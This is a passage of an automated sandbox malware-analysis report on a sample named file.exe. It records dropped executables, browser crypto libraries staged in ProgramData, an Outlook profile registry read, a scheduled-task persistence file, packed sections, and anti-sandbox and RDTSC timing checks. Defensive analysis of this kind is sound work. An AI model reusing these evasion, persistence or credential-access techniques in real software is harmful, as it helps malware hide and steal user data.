Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1833472 > 1048576

Source: file.exe

Static PE information: Raw size of udcxivdk is bigger than: 0x100000 < 0x1a5c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2038311729.000000006CC7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udcxivdk:EW;ohgcfufd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udcxivdk:EW;ohgcfufd:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Unpacked PE file: 24.2.DocumentsCAEHDBAAEC.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.fb0000.1.unpack :EW;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;umzmfkfc:EW;eqgvdfkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Unpacked PE file: 30.2.eDPQZkT.exe.b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tjxhgeed:EW;ccdijxqb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tjxhgeed:EW;ccdijxqb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA43480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA43480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: eDPQZkT[1].exe.29.dr	Static PE information: real checksum: 0x1d42c7 should be: 0x1cc6a7
Source: eDPQZkT.exe.29.dr	Static PE information: real checksum: 0x1d42c7 should be: 0x1cc6a7
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: real checksum: 0x1d6c48 should be: 0x1dfcd4
Source: random[1].exe.29.dr	Static PE information: real checksum: 0x43c911 should be: 0x139f94
Source: file.exe	Static PE information: real checksum: 0x1c2dbe should be: 0x1c9682
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d6c48 should be: 0x1dfcd4
Source: ead1a5c329.exe.29.dr	Static PE information: real checksum: 0x43c911 should be: 0x139f94
Source: skotes.exe.24.dr	Static PE information: real checksum: 0x1d6c48 should be: 0x1dfcd4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: udcxivdk
Source: file.exe	Static PE information: section name: ohgcfufd
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: umzmfkfc
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: eqgvdfkx
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: umzmfkfc
Source: random[1].exe.0.dr	Static PE information: section name: eqgvdfkx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: umzmfkfc
Source: skotes.exe.24.dr	Static PE information: section name: eqgvdfkx
Source: skotes.exe.24.dr	Static PE information: section name: .taggant
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name:
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: .idata
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name:
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: tjxhgeed
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: ccdijxqb
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: .taggant
Source: eDPQZkT.exe.29.dr	Static PE information: section name:
Source: eDPQZkT.exe.29.dr	Static PE information: section name: .idata
Source: eDPQZkT.exe.29.dr	Static PE information: section name:
Source: eDPQZkT.exe.29.dr	Static PE information: section name: tjxhgeed
Source: eDPQZkT.exe.29.dr	Static PE information: section name: ccdijxqb
Source: eDPQZkT.exe.29.dr	Static PE information: section name: .taggant
Source: random[1].exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name: .rsrc
Source: random[1].exe.29.dr	Static PE information: section name: .idata
Source: random[1].exe.29.dr	Static PE information: section name:
Source: random[1].exe.29.dr	Static PE information: section name: vbnvzqtd
Source: random[1].exe.29.dr	Static PE information: section name: ugjoxxza
Source: random[1].exe.29.dr	Static PE information: section name: .taggant
Source: ead1a5c329.exe.29.dr	Static PE information: section name:
Source: ead1a5c329.exe.29.dr	Static PE information: section name: .rsrc
Source: ead1a5c329.exe.29.dr	Static PE information: section name: .idata
Source: ead1a5c329.exe.29.dr	Static PE information: section name:
Source: ead1a5c329.exe.29.dr	Static PE information: section name: vbnvzqtd
Source: ead1a5c329.exe.29.dr	Static PE information: section name: ugjoxxza
Source: ead1a5c329.exe.29.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B536 push ecx; ret		0_2_6CA7B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_00FCD91C push ecx; ret		29_2_00FCD92F

Source: file.exe	Static PE information: section name: udcxivdk entropy: 7.955285281860381
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: entropy: 7.977436096589724
Source: DocumentsCAEHDBAAEC.exe.0.dr	Static PE information: section name: umzmfkfc entropy: 7.954247225682721
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977436096589724
Source: random[1].exe.0.dr	Static PE information: section name: umzmfkfc entropy: 7.954247225682721
Source: skotes.exe.24.dr	Static PE information: section name: entropy: 7.977436096589724
Source: skotes.exe.24.dr	Static PE information: section name: umzmfkfc entropy: 7.954247225682721
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: entropy: 7.982250954718822
Source: eDPQZkT[1].exe.29.dr	Static PE information: section name: tjxhgeed entropy: 7.953829787210989
Source: eDPQZkT.exe.29.dr	Static PE information: section name: entropy: 7.982250954718822
Source: eDPQZkT.exe.29.dr	Static PE information: section name: tjxhgeed entropy: 7.953829787210989

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCAEHDBAAEC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCAEHDBAAEC.exe	Jump to dropped file
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\eDPQZkT[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009009001\ead1a5c329.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCAEHDBAAEC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCAEHDBAAEC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCAEHDBAAEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAA55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAA55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCAEHDBAAEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6401E2 second address: 6401F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6401F1 second address: 6401F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6401F7 second address: 6401FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6401FD second address: 640201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF722 second address: 7BF726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB41 second address: 7BEB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF40C70B056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEB4B second address: 7BEB4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D19 second address: 7C1D23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF40C70B056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D23 second address: 7C1D60 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push ecx 0x00000012 jmp 00007FF40CBDB939h 0x00000017 pop ecx 0x00000018 jmp 00007FF40CBDB92Ah 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D60 second address: 7C1D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D69 second address: 7C1D7C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1D7C second address: 7C1DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FF40C70B058h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000003h 0x00000025 push edi 0x00000026 jmp 00007FF40C70B061h 0x0000002b pop ecx 0x0000002c push 00000000h 0x0000002e jno 00007FF40C70B05Ch 0x00000034 push 00000003h 0x00000036 push edx 0x00000037 mov dword ptr [ebp+122D3543h], ebx 0x0000003d pop esi 0x0000003e call 00007FF40C70B059h 0x00000043 jnp 00007FF40C70B062h 0x00000049 